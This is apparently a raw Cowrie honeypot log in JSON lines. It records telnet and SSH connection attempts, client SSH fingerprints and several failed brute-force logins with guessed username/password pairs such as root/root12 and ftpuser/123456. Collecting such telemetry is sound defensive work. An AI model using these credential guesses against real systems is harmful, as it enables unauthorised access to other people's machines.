{"eventid":"cowrie.session.closed","duration":13.432765245437622,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.337357Z","src_ip":"34.62.43.5","session":"958e47d0707d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.91031265258789,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.340678Z","src_ip":"34.62.43.5","session":"8e9b7e30d300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.75757646560669,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.343785Z","src_ip":"34.62.43.5","session":"17c685ce6c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.07080340385437,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.347131Z","src_ip":"34.62.43.5","session":"f81dbcc8375f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.229897499084473,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.351171Z","src_ip":"34.62.43.5","session":"8361ab3d7619","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.388657093048096,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.354723Z","src_ip":"34.62.43.5","session":"8b1e7b588568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":57816,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6b4fdb6dc3f","protocol":"ssh","message":"New connection: 180.178.94.210:57816 (159.203.135.109:22) [session: e6b4fdb6dc3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.921924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.926801Z","src_ip":"180.178.94.210","session":"e6b4fdb6dc3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:22.200288Z","src_ip":"180.178.94.210","session":"e6b4fdb6dc3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:23.309295Z","src_ip":"180.178.94.210","session":"e6b4fdb6dc3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:24.580448Z","src_ip":"180.178.94.210","session":"e6b4fdb6dc3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63509821891785,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:39.198739Z","src_ip":"69.4.83.194","session":"570c23ac5f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36316,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c11562c6130","protocol":"telnet","message":"New connection: 69.4.83.194:36316 (159.203.135.109:23) [session: 0c11562c6130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:47.000794Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36630,"dst_ip":"159.203.135.109","dst_port":23,"session":"0259ec8ce971","protocol":"telnet","message":"New connection: 69.4.83.194:36630 (159.203.135.109:23) [session: 0259ec8ce971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:47.926028Z"}
{"eventid":"cowrie.session.closed","duration":37.55160713195801,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:48.757579Z","src_ip":"69.4.83.194","session":"46bf63bddd4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":34536,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b1d0e444f6","protocol":"ssh","message":"New connection: 85.11.167.46:34536 (159.203.135.109:22) [session: 02b1d0e444f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:50.439344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:50.448912Z","src_ip":"85.11.167.46","session":"02b1d0e444f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:50.531410Z","src_ip":"85.11.167.46","session":"02b1d0e444f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12","message":"login attempt [root/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:50.788739Z","src_ip":"85.11.167.46","session":"02b1d0e444f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36998,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f3f85e82b4","protocol":"ssh","message":"New connection: 193.37.70.224:36998 (10.17.0.5:22) [session: 29f3f85e82b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:51.308342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:51.313433Z","src_ip":"193.37.70.224","session":"29f3f85e82b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:51.403070Z","src_ip":"193.37.70.224","session":"29f3f85e82b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"papapapa","message":"login attempt [root/papapapa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:51.669556Z","src_ip":"193.37.70.224","session":"29f3f85e82b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:51.876521Z","src_ip":"85.11.167.46","session":"02b1d0e444f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38348,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2d8e1415c1","protocol":"telnet","message":"New connection: 69.4.83.194:38348 (159.203.135.109:23) [session: 4c2d8e1415c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:52.441864Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:52.761605Z","src_ip":"193.37.70.224","session":"29f3f85e82b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":52146,"dst_ip":"159.203.135.109","dst_port":22,"session":"4349dc064405","protocol":"ssh","message":"New connection: 43.133.65.220:52146 (159.203.135.109:22) [session: 4349dc064405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:08.240468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:08.266143Z","src_ip":"43.133.65.220","session":"4349dc064405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:08.483497Z","src_ip":"43.133.65.220","session":"4349dc064405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser","password":"123","message":"login attempt [tempuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:09.380384Z","src_ip":"43.133.65.220","session":"4349dc064405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:10.602482Z","src_ip":"43.133.65.220","session":"4349dc064405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50862741470337,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:20.509296Z","src_ip":"69.4.83.194","session":"0c11562c6130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.942941665649414,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:22.868852Z","src_ip":"69.4.83.194","session":"0259ec8ce971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73316526412964,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:26.174911Z","src_ip":"69.4.83.194","session":"4c2d8e1415c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":54620,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e6124e37c1","protocol":"ssh","message":"New connection: 101.79.165.133:54620 (159.203.135.109:22) [session: 63e6124e37c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:28.737451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:28.742038Z","src_ip":"101.79.165.133","session":"63e6124e37c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:28.980337Z","src_ip":"101.79.165.133","session":"63e6124e37c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:29.910562Z","src_ip":"101.79.165.133","session":"63e6124e37c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:31.138350Z","src_ip":"101.79.165.133","session":"63e6124e37c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":48982,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91bf1b75179","protocol":"ssh","message":"New connection: 103.77.242.62:48982 (10.17.0.5:22) [session: f91bf1b75179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:59.879038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:17:59.884036Z","src_ip":"103.77.242.62","session":"f91bf1b75179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:00.131933Z","src_ip":"103.77.242.62","session":"f91bf1b75179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110499","message":"login attempt [root/110499] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:00.876450Z","src_ip":"103.77.242.62","session":"f91bf1b75179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:02.127541Z","src_ip":"103.77.242.62","session":"f91bf1b75179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":52900,"dst_ip":"159.203.135.109","dst_port":22,"session":"6efd64dc59d2","protocol":"ssh","message":"New connection: 106.243.250.115:52900 (159.203.135.109:22) [session: 6efd64dc59d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:07.287417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:07.294132Z","src_ip":"106.243.250.115","session":"6efd64dc59d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:07.511875Z","src_ip":"106.243.250.115","session":"6efd64dc59d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":33582,"dst_ip":"159.203.135.109","dst_port":22,"session":"19a8e0f8a662","protocol":"ssh","message":"New connection: 180.178.94.210:33582 (159.203.135.109:22) [session: 19a8e0f8a662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:08.321094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:08.326217Z","src_ip":"180.178.94.210","session":"19a8e0f8a662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Huawei12#$","message":"login attempt [user/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:08.386552Z","src_ip":"106.243.250.115","session":"6efd64dc59d2","protocol":"ssh"}
